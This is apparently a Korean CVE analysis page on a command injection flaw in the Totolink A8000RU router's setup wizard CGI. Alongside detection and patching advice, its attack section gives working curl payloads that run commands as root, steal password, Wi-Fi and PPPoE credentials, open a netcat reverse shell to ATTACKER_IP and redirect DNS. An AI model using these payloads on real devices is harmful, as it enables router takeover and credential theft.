/CVE 분석/cve-2026-7121
CRITICALCVSS 9.82026-04-27

CVE-2026-7121: Unknown (CVSS 9.8)

A flaw has been found in Totolink A8000RU 7.1cu.643_b20200521. This affects the function setWizardCfg of the file /cgi-bin/cstecgi.cgi of the component CGI Handler. This manipulation of the argument w...

#명령어주입#CRITICAL

⚠️ 경고: 본 문서는 CVE-2026-7121 취약점에 대한 기술 분석을 교육 목적으로만 제공합니다. 허가받지 않은 시스템에 대한 접근이나 공격은 불법이며 형사 처벌을 받을 수 있습니다.


기본 원리: OS 명령어 삽입이란

OS 명령어 삽입(Command Injection)은 웹 애플리케이션이나 펌웨어가 사용자 입력 데이터를 적절한 검증 없이 운영체제 명령어의 일부로 사용할 때 발생하는 보안 취약점입니다. 특히 네트워크 설정을 담당하는 라우터 펌웨어에서 이런 취약점이 자주 발견됩니다.

셸 명령어는 ;(순차 실행), |(파이프), &&(AND 조건), ||(OR 조건) 등의 메타문자를 통해 여러 명령을 연결할 수 있습니다. 이를 이용하면 원래 의도된 명령 외에 추가적인 임의의 명령을 실행시킬 수 있습니다.

취약점 상세

CVE-2026-7121은 Totolink A8000RU 라우터의 설치 마법사(Wizard) 설정 기능에서 발견된 OS 명령어 삽입 취약점입니다.

항목 내용
영향 장치 Totolink A8000RU 7.1cu.643_b20200521
취약 파일 /cgi-bin/cstecgi.cgi
취약 함수 setWizardCfg
취약 파라미터 wanIdx (WAN 인터페이스 인덱스)
공격 벡터 네트워크 (원격), 인증 불필요
CVSS 점수 9.8 (CRITICAL)

setWizardCfg 함수는 라우터 최초 설정 마법사를 처리합니다. WAN 인터페이스 인덱스를 지정하는 wanIdx 파라미터가 내부 OS 명령에 직접 포함되어, 검증 없이 실행되는 문제가 있습니다. 설치 마법사 기능은 인증 전 접근이 가능한 경우가 많아, 인증 우회 없이 직접 공격이 가능합니다.

공격 시나리오

공격 전제 조건

  • 대상 라우터의 웹 관리 인터페이스에 네트워크 접근 가능
  • 펌웨어 버전 7.1cu.643_b20200521 사용 중

공격 흐름

1단계: 정보 수집

# nmap으로 웹 서비스 확인
nmap -sV -p 80,443,8080 TARGET_IP

# 펌웨어 버전 확인 (로그인 페이지에서)
curl -s http://TARGET_IP/ | grep -i 'version\|firmware\|totolink'

2단계: 취약점 확인

# 기본 명령 실행 테스트
curl -X POST "http://TARGET_IP/cgi-bin/cstecgi.cgi" \
  -d "action=setWizardCfg&wanIdx=0;id"

응답에서 uid=0(root) 확인 시 취약점 존재.

3단계: 민감 정보 수집

# 패스워드 파일 탈취
curl -X POST "http://TARGET_IP/cgi-bin/cstecgi.cgi" \
  -d "action=setWizardCfg&wanIdx=0;cat /etc/passwd"

# Wi-Fi 설정 (SSID, 비밀번호) 탈취
curl -X POST "http://TARGET_IP/cgi-bin/cstecgi.cgi" \
  -d "action=setWizardCfg&wanIdx=0;cat /etc/config/wireless"

# PPPoE 계정 정보 탈취
curl -X POST "http://TARGET_IP/cgi-bin/cstecgi.cgi" \
  -d "action=setWizardCfg&wanIdx=0;cat /etc/config/network"

4단계: 리버스 쉘 연결

# 공격자 서버에서 리스너 실행
nc -lvnp 4444

# 라우터에 리버스 쉘 페이로드 전송
curl -X POST "http://TARGET_IP/cgi-bin/cstecgi.cgi" \
  -d "action=setWizardCfg&wanIdx=0;nc ATTACKER_IP 4444 -e /bin/sh"

5단계: DNS 하이재킹으로 피싱 공격

# 라우터의 DNS를 공격자 제어 DNS로 변경
curl -X POST "http://TARGET_IP/cgi-bin/cstecgi.cgi" \
  -d "action=setWizardCfg&wanIdx=0;uci set network.wan.dns='ATTACKER_DNS';uci commit"

탐지 방법

네트워크 이상 탐지

  • setWizardCfg로의 HTTP 요청에서 wanIdx 파라미터에 특수문자 포함 여부 모니터링
  • 라우터에서 알 수 없는 외부 IP로 TCP 연결 발생 감지
  • DNS 응답 변경 모니터링

시스템 이상 징후

  • 예상치 못한 프로세스 실행 (nc, wget, curl 등)
  • /tmp 디렉토리에 새로운 파일 생성
  • 관리자 계정 외 로그인 시도

대응 방법

즉각 조치

  1. 펌웨어 업데이트: Totolink 공식 사이트에서 최신 보안 패치 적용
  2. WAN 접근 차단: 라우터 관리 포트의 외부 인터넷 접근 완전 차단
  3. 방화벽 강화: 관리 포트를 내부 IP로만 제한

근본적 해결

  • 취약점이 패치된 버전으로 펌웨어 업데이트
  • 사용 수명이 다한 경우 보안이 강화된 최신 장치로 교체
  • 기업 환경에서 네트워크 장치 보안 감사 정기 실시

참고 자료